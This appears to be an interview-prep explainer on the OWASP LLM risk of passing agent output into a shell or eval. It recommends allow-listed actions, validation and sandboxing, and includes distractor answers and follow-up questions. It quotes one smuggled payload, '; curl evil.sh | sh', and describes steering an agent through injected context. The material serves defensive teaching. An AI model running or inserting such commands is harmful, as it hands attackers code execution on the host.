An LLM agent's output is passed into a shell/`eval` to run commands. What's the risk and fix?
Short answer
This is OWASP LLM 'improper output handling': model output influenced by user input can become command injection when fed to a shell or eval. Treat it as untrusted — map intents to a small allow-list of parameterized actions, validate strictly, and sandbox execution rather than running raw generated strings. Trusting the output, raising token limits, or only logging does nothing to stop the injection.
Someone wired up an agent so that whatever the LLM produces gets handed straight to os.system, a shell, or eval. It feels convenient — the model "knows" the command to run. It's also a direct path to remote code execution.
Why this is dangerous
The model's output is not trusted data. It is shaped by whatever entered its context: the user's message, a retrieved document, a fetched web page. An attacker who can influence any of those can steer the generated string. The moment that string reaches a shell or eval, you have command injection — the model becomes a confused deputy that writes the attacker's payload for them. OWASP calls this improper (insecure) output handling: trusting model output as if it were safe code or markup.
A single crafted input like ; curl evil.sh | sh smuggled into the model's reasoning, and you've handed over the host.
The fix: treat output as untrusted
- Allow-list intents, not strings. Have the model emit a structured intent (e.g. JSON:
{"action": "restart_service", "name": "nginx"}) and map it to a small set of parameterized, pre-written functions. Never concatenate model text into a command line. - Validate strictly. Check the action against the allow-list, validate every parameter (type, range, character set) and reject anything that doesn't fit.
- Sandbox execution. If something genuinely must run code, isolate it: a locked-down container, no network, dropped privileges, resource limits, ephemeral filesystem.
- Least privilege. Whatever runs the action should hold the minimum permissions needed.
Why the distractors fail
- "Output is trusted": this is the exact assumption being exploited. Model output is downstream of untrusted input.
- Raise the token limit: token limits control length, not safety. A longer payload is still a payload.
- Log and move on: logging gives you a record of the breach after the fact; it prevents nothing.
What interviewers want to hear
That you name it as improper output handling leading to injection, refuse to run generated strings, and replace them with validated, allow-listed, sandboxed actions under least privilege.
Likely follow-ups
- Why is an allow-list of parameterized actions safer than sanitizing a generated command string?
- How could an attacker steer the model's output without ever touching your prompt template?
- What sandboxing would you use if an action genuinely needs to run arbitrary code?